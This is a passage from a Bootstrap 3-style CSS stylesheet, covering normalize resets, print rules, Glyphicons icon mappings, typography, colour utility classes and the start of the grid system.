{\n bottom: -0.25em;\n}\nimg {\n border: 0;\n}\nsvg:not(:root) {\n overflow: hidden;\n}\nfigure {\n margin: 1em 40px;\n}\nhr {\n box-sizing: content-box;\n height: 0;\n}\npre {\n overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit;\n font: inherit;\n margin: 0;\n}\nbutton {\n overflow: visible;\n}\nbutton,\nselect {\n text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button;\n cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\ninput {\n line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box;\n padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: textfield;\n box-sizing: content-box;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\nlegend {\n border: 0;\n padding: 0;\n}\ntextarea {\n overflow: auto;\n}\noptgroup {\n font-weight: bold;\n}\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\ntd,\nth {\n padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important;\n box-shadow: none !important;\n text-shadow: none !important;\n }\n a,\n a:visited {\n text-decoration: underline;\n }\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n img {\n max-width: 100% !important;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n .navbar {\n display: none;\n }\n .btn > .caret,\n .dropup > .btn > .caret {\n border-top-color: #000 !important;\n }\n .label {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #ddd !important;\n }\n}\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('../fonts/glyphicons-halflings-regular.eot');\n src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n content: \"\\002a\";\n}\n.glyphicon-plus:before {\n content: \"\\002b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n content: \"\\270f\";\n}\n.glyphicon-glass:before {\n content: \"\\e001\";\n}\n.glyphicon-music:before {\n content: \"\\e002\";\n}\n.glyphicon-search:before {\n content: \"\\e003\";\n}\n.glyphicon-heart:before {\n content: \"\\e005\";\n}\n.glyphicon-star:before {\n content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n content: \"\\e007\";\n}\n.glyphicon-user:before {\n content: \"\\e008\";\n}\n.glyphicon-film:before {\n content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n content: \"\\e010\";\n}\n.glyphicon-th:before {\n content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n content: \"\\e012\";\n}\n.glyphicon-ok:before {\n content: \"\\e013\";\n}\n.glyphicon-remove:before {\n content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n content: \"\\e016\";\n}\n.glyphicon-off:before {\n content: \"\\e017\";\n}\n.glyphicon-signal:before {\n content: \"\\e018\";\n}\n.glyphicon-cog:before {\n content: \"\\e019\";\n}\n.glyphicon-trash:before {\n content: \"\\e020\";\n}\n.glyphicon-home:before {\n content: \"\\e021\";\n}\n.glyphicon-file:before {\n content: \"\\e022\";\n}\n.glyphicon-time:before {\n content: \"\\e023\";\n}\n.glyphicon-road:before {\n content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n content: \"\\e025\";\n}\n.glyphicon-download:before {\n content: \"\\e026\";\n}\n.glyphicon-upload:before {\n content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n content: \"\\e032\";\n}\n.glyphicon-lock:before {\n content: \"\\e033\";\n}\n.glyphicon-flag:before {\n content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n content: \"\\e040\";\n}\n.glyphicon-tag:before {\n content: \"\\e041\";\n}\n.glyphicon-tags:before {\n content: \"\\e042\";\n}\n.glyphicon-book:before {\n content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n content: \"\\e044\";\n}\n.glyphicon-print:before {\n content: \"\\e045\";\n}\n.glyphicon-camera:before {\n content: \"\\e046\";\n}\n.glyphicon-font:before {\n content: \"\\e047\";\n}\n.glyphicon-bold:before {\n content: \"\\e048\";\n}\n.glyphicon-italic:before {\n content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n content: \"\\e055\";\n}\n.glyphicon-list:before {\n content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n content: \"\\e059\";\n}\n.glyphicon-picture:before {\n content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n content: \"\\e063\";\n}\n.glyphicon-tint:before {\n content: \"\\e064\";\n}\n.glyphicon-edit:before {\n content: \"\\e065\";\n}\n.glyphicon-share:before {\n content: \"\\e066\";\n}\n.glyphicon-check:before {\n content: \"\\e067\";\n}\n.glyphicon-move:before {\n content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n content: \"\\e070\";\n}\n.glyphicon-backward:before {\n content: \"\\e071\";\n}\n.glyphicon-play:before {\n content: \"\\e072\";\n}\n.glyphicon-pause:before {\n content: \"\\e073\";\n}\n.glyphicon-stop:before {\n content: \"\\e074\";\n}\n.glyphicon-forward:before {\n content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n content: \"\\e077\";\n}\n.glyphicon-eject:before {\n content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n content: \"\\e101\";\n}\n.glyphicon-gift:before {\n content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n content: \"\\e103\";\n}\n.glyphicon-fire:before {\n content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n content: \"\\e107\";\n}\n.glyphicon-plane:before {\n content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n content: \"\\e109\";\n}\n.glyphicon-random:before {\n content: \"\\e110\";\n}\n.glyphicon-comment:before {\n content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n content: \"\\e122\";\n}\n.glyphicon-bell:before {\n content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n content: \"\\e134\";\n}\n.glyphicon-globe:before {\n content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n content: \"\\e137\";\n}\n.glyphicon-filter:before {\n content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n content: \"\\e143\";\n}\n.glyphicon-link:before {\n content: \"\\e144\";\n}\n.glyphicon-phone:before {\n content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n content: \"\\e146\";\n}\n.glyphicon-usd:before {\n content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n content: \"\\e149\";\n}\n.glyphicon-sort:before {\n content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n content: \"\\e157\";\n}\n.glyphicon-expand:before {\n content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n content: \"\\e161\";\n}\n.glyphicon-flash:before {\n content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n content: \"\\e164\";\n}\n.glyphicon-record:before {\n content: \"\\e165\";\n}\n.glyphicon-save:before {\n content: \"\\e166\";\n}\n.glyphicon-open:before {\n content: \"\\e167\";\n}\n.glyphicon-saved:before {\n content: \"\\e168\";\n}\n.glyphicon-import:before {\n content: \"\\e169\";\n}\n.glyphicon-export:before {\n content: \"\\e170\";\n}\n.glyphicon-send:before {\n content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n content: \"\\e179\";\n}\n.glyphicon-header:before {\n content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n content: \"\\e183\";\n}\n.glyphicon-tower:before {\n content: \"\\e184\";\n}\n.glyphicon-stats:before {\n content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n content: \"\\e200\";\n}\n.glyphicon-cd:before {\n content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n content: \"\\e204\";\n}\n.glyphicon-copy:before {\n content: \"\\e205\";\n}\n.glyphicon-paste:before {\n content: \"\\e206\";\n}\n.glyphicon-alert:before {\n content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n content: \"\\e210\";\n}\n.glyphicon-king:before {\n content: \"\\e211\";\n}\n.glyphicon-queen:before {\n content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n content: \"\\e214\";\n}\n.glyphicon-knight:before {\n content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n content: \"\\e216\";\n}\n.glyphicon-tent:before {\n content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n content: \"\\e218\";\n}\n.glyphicon-bed:before {\n content: \"\\e219\";\n}\n.glyphicon-apple:before {\n content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n content: \"\\e227\";\n}\n.glyphicon-btc:before {\n content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n content: \"\\e227\";\n}\n.glyphicon-yen:before {\n content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n content: \"\\e232\";\n}\n.glyphicon-education:before {\n content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n content: \"\\e237\";\n}\n.glyphicon-oil:before {\n content: \"\\e238\";\n}\n.glyphicon-grain:before {\n content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n content: \"\\e253\";\n}\n.glyphicon-console:before {\n content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n content: \"\\e260\";\n}\n* {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\n*:before,\n*:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n line-height: 1.42857143;\n color: #333333;\n background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\na {\n color: #337ab7;\n text-decoration: none;\n}\na:hover,\na:focus {\n color: #23527c;\n text-decoration: underline;\n}\na:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\nfigure {\n margin: 0;\n}\nimg {\n vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n display: block;\n max-width: 100%;\n height: auto;\n}\n.img-rounded {\n border-radius: 6px;\n}\n.img-thumbnail {\n padding: 4px;\n line-height: 1.42857143;\n background-color: #fff;\n border: 1px solid #ddd;\n border-radius: 4px;\n -webkit-transition: all 0.2s ease-in-out;\n -o-transition: all 0.2s ease-in-out;\n transition: all 0.2s ease-in-out;\n display: inline-block;\n max-width: 100%;\n height: auto;\n}\n.img-circle {\n border-radius: 50%;\n}\nhr {\n margin-top: 20px;\n margin-bottom: 20px;\n border: 0;\n border-top: 1px solid #eeeeee;\n}\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n}\n[role=\"button\"] {\n cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n font-family: inherit;\n font-weight: 500;\n line-height: 1.1;\n color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n font-weight: normal;\n line-height: 1;\n color: #777777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n margin-top: 20px;\n margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n margin-top: 10px;\n margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n font-size: 75%;\n}\nh1,\n.h1 {\n font-size: 36px;\n}\nh2,\n.h2 {\n font-size: 30px;\n}\nh3,\n.h3 {\n font-size: 24px;\n}\nh4,\n.h4 {\n font-size: 18px;\n}\nh5,\n.h5 {\n font-size: 14px;\n}\nh6,\n.h6 {\n font-size: 12px;\n}\np {\n margin: 0 0 10px;\n}\n.lead {\n margin-bottom: 20px;\n font-size: 16px;\n font-weight: 300;\n line-height: 1.4;\n}\n@media (min-width: 768px) {\n .lead {\n font-size: 21px;\n }\n}\nsmall,\n.small {\n font-size: 85%;\n}\nmark,\n.mark {\n background-color: #fcf8e3;\n padding: .2em;\n}\n.text-left {\n text-align: left;\n}\n.text-right {\n text-align: right;\n}\n.text-center {\n text-align: center;\n}\n.text-justify {\n text-align: justify;\n}\n.text-nowrap {\n white-space: nowrap;\n}\n.text-lowercase {\n text-transform: lowercase;\n}\n.text-uppercase {\n text-transform: uppercase;\n}\n.text-capitalize {\n text-transform: capitalize;\n}\n.text-muted {\n color: #777777;\n}\n.text-primary {\n color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n color: #286090;\n}\n.text-success {\n color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n color: #2b542c;\n}\n.text-info {\n color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n color: #245269;\n}\n.text-warning {\n color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n color: #66512c;\n}\n.text-danger {\n color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n color: #843534;\n}\n.bg-primary {\n color: #fff;\n background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n background-color: #286090;\n}\n.bg-success {\n background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n background-color: #c1e2b3;\n}\n.bg-info {\n background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n background-color: #afd9ee;\n}\n.bg-warning {\n background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n background-color: #f7ecb5;\n}\n.bg-danger {\n background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n background-color: #e4b9b9;\n}\n.page-header {\n padding-bottom: 9px;\n margin: 40px 0 20px;\n border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n margin-top: 0;\n margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n margin-bottom: 0;\n}\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n.list-inline {\n padding-left: 0;\n list-style: none;\n margin-left: -5px;\n}\n.list-inline > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n}\ndl {\n margin-top: 0;\n margin-bottom: 20px;\n}\ndt,\ndd {\n line-height: 1.42857143;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .dl-horizontal dt {\n float: left;\n width: 160px;\n clear: left;\n text-align: right;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n }\n .dl-horizontal dd {\n margin-left: 180px;\n }\n}\nabbr[title],\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted #777777;\n}\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\nblockquote {\n padding: 10px 20px;\n margin: 0 0 20px;\n font-size: 17.5px;\n border-left: 5px solid #eeeeee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n display: block;\n font-size: 80%;\n line-height: 1.42857143;\n color: #777777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid #eeeeee;\n border-left: 0;\n text-align: right;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n content: '\\00A0 \\2014';\n}\naddress {\n margin-bottom: 20px;\n font-style: normal;\n line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #fff;\n background-color: #333;\n border-radius: 3px;\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n word-break: break-all;\n word-wrap: break-word;\n color: #333333;\n background-color: #f5f5f5;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n.row {\n margin-left: -15px;\n margin-right: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 